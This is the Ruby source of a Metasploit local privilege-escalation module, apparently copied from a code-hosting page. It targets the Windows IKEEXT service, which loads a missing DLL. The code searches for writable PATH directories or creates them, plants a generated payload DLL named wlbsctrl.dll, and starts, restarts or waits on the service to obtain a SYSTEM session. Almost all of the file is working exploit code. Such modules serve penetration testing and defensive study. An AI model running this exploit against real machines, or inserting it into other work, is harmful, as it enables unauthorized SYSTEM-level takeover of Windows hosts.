306 lines
8.8 KiB
Ruby
306 lines
8.8 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Services
|
|
include Msf::Post::Windows::Accounts
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL',
|
|
'Description' => %q{
|
|
This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules'
|
|
(IKEEXT) service which runs as SYSTEM, and starts automatically in default
|
|
installations of Vista-Win8. It requires an insecure bin path to plant the DLL payload.
|
|
},
|
|
'References' =>
|
|
[
|
|
['URL', 'https://www.htbridge.com/advisory/HTB23108'],
|
|
['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html']
|
|
],
|
|
'DisclosureDate' => "Oct 09 2012",
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Ben Campbell <eat_meatballs@hotmail.co.uk>'
|
|
],
|
|
'Platform' => [ 'win'],
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
|
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
|
|
],
|
|
'SessionTypes' => [ "meterpreter" ],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
'WfsDelay' => 5,
|
|
'ReverseConnectRetries' => 255
|
|
},
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options([
|
|
OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""])
|
|
])
|
|
@service_name = 'IKEEXT'
|
|
@load_lib_search_path = [ '%SystemRoot%\\System32',
|
|
'%SystemRoot%\\System',
|
|
'%SystemRoot%'
|
|
]
|
|
@non_existant_dirs = []
|
|
end
|
|
|
|
def check_service_exists?(service)
|
|
srv_info = service_info(service)
|
|
|
|
if srv_info.nil?
|
|
print_warning("Unable to enumerate services.")
|
|
return false
|
|
end
|
|
|
|
if srv_info && srv_info['Name'].empty?
|
|
print_warning("Service #{service} does not exist.")
|
|
return false
|
|
else
|
|
return true
|
|
end
|
|
end
|
|
|
|
def check
|
|
srv_info = service_info(@service_name)
|
|
|
|
if !check_service_exists?(@service_name)
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
vprint_status(srv_info.to_s)
|
|
|
|
case srv_info['Startup']
|
|
when 'Disabled'
|
|
vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
|
|
return Exploit::CheckCode::Safe
|
|
when 'Manual'
|
|
vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
|
|
return Exploit::CheckCode::Safe
|
|
when 'Auto'
|
|
vprint_good("Service is set to Automatically start...")
|
|
end
|
|
|
|
if check_search_path
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
|
|
def check_search_path
|
|
dll = 'wlbsctrl.dll'
|
|
|
|
@load_lib_search_path.each do |path|
|
|
dll_path = "#{expand_path(path)}\\#{dll}"
|
|
|
|
if file_exist?(dll_path)
|
|
print_warning("DLL already exists at #{dll_path}...")
|
|
return true
|
|
end
|
|
end
|
|
|
|
return false
|
|
end
|
|
|
|
def check_system_path
|
|
print_status("Checking %PATH% folders for write access...")
|
|
result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path')
|
|
|
|
if result.nil?
|
|
print_error("Unable to retrieve %PATH% from registry.")
|
|
return
|
|
end
|
|
|
|
paths = result.split(';')
|
|
paths.append(@load_lib_search_path).flatten!.uniq!
|
|
|
|
paths.each do |p|
|
|
path = expand_path(p)
|
|
if exist?(path)
|
|
if check_write_access(path)
|
|
return path
|
|
end
|
|
else
|
|
# User may be able to create the path...
|
|
print_status("Path #{path} does not exist...")
|
|
@non_existant_dirs << path
|
|
end
|
|
end
|
|
|
|
return nil
|
|
end
|
|
|
|
def check_write_access(path)
|
|
perm = check_dir_perms(path, @token)
|
|
if perm and perm.include?('W')
|
|
print_good ("Write permissions in #{path} - #{perm}")
|
|
return true
|
|
elsif perm
|
|
vprint_status ("Permissions for #{path} - #{perm}")
|
|
else
|
|
vprint_status ("No permissions for #{path}")
|
|
end
|
|
|
|
return false
|
|
end
|
|
|
|
def check_dirs
|
|
print_status("Attempting to create a non-existant PATH dir to use.")
|
|
@non_existant_dirs.each do |dir|
|
|
begin
|
|
client.fs.dir.mkdir(dir)
|
|
if exist?(dir)
|
|
register_file_for_cleanup(dir)
|
|
return dir
|
|
end
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
vprint_status("Unable to create dir: #{dir} - #{e}")
|
|
end
|
|
end
|
|
|
|
return nil
|
|
end
|
|
|
|
def check_session_arch
|
|
if sysinfo['Architecture'] =~ /x64/i
|
|
if payload_instance.arch.first == 'x86'
|
|
fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")
|
|
end
|
|
else
|
|
if payload_instance.arch.first =~ /64/i
|
|
fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")
|
|
end
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
check_session_arch
|
|
|
|
begin
|
|
@token = get_imperstoken
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
vprint_error("Error while using get_imperstoken: #{e}")
|
|
end
|
|
|
|
fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token
|
|
|
|
if is_system?
|
|
fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.")
|
|
end
|
|
|
|
print_status("Checking service exists...")
|
|
if !check_service_exists?(@service_name)
|
|
fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.")
|
|
end
|
|
|
|
if is_uac_enabled?
|
|
print_warning("UAC is enabled, may get false negatives on writable folders.")
|
|
end
|
|
|
|
if datastore['DIR'].empty?
|
|
# If DLL already exists in system folders, we dont want to overwrite by accident
|
|
if check_search_path
|
|
fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.")
|
|
end
|
|
|
|
file_path = check_system_path
|
|
file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs
|
|
|
|
if file_path.nil?
|
|
fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...")
|
|
end
|
|
else
|
|
# Use manually selected Dir
|
|
file_path = datastore['DIR']
|
|
end
|
|
|
|
@dll_file_path = "#{file_path}\\wlbsctrl.dll"
|
|
|
|
service_information = service_info(@service_name)
|
|
|
|
if service_information['Startup'] == 'Disabled'
|
|
print_status("Service is disabled, attempting to enable...")
|
|
service_change_startup(@service_name, 'auto')
|
|
service_information = service_info(@service_name)
|
|
|
|
# Still disabled
|
|
if service_information['Startup'] == 'Disabled'
|
|
fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...")
|
|
end
|
|
end
|
|
|
|
# Check architecture
|
|
dll = generate_payload_dll
|
|
|
|
#
|
|
# Drop the malicious executable into the path
|
|
#
|
|
print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...")
|
|
begin
|
|
write_file(@dll_file_path, dll)
|
|
register_file_for_cleanup(@dll_file_path)
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
# Can't write the file, can't go on
|
|
fail_with(Exploit::Failure::Unknown, e.message)
|
|
end
|
|
|
|
#
|
|
# Run the service, let the Windows API do the rest
|
|
#
|
|
print_status("Launching service #{@service_name}...")
|
|
|
|
begin
|
|
status = service_start(@service_name)
|
|
if status == 1
|
|
print_status("Service already running, attempting to restart...")
|
|
if service_stop(@service_name) == 0
|
|
print_status("Service stopped, attempting to start...")
|
|
if service_start(@service_name) == 0
|
|
print_status("Service started...")
|
|
else
|
|
fail_with(Exploit::Failure::Unknown, "Unable to start service.")
|
|
end
|
|
else
|
|
fail_with(Exploit::Failure::Unknown, "Unable to stop service")
|
|
end
|
|
elsif status == 0
|
|
print_status("Service started...")
|
|
end
|
|
rescue RuntimeError => e
|
|
raise e if e.kind_of? Msf::Exploit::Failed
|
|
if service_information['Startup'] == 'Manual'
|
|
fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
|
|
else
|
|
if job_id
|
|
print_status("Unable to start service, handler running waiting for a reboot...")
|
|
while(true)
|
|
break if session_created?
|
|
select(nil,nil,nil,1)
|
|
end
|
|
else
|
|
fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
end
|
|
|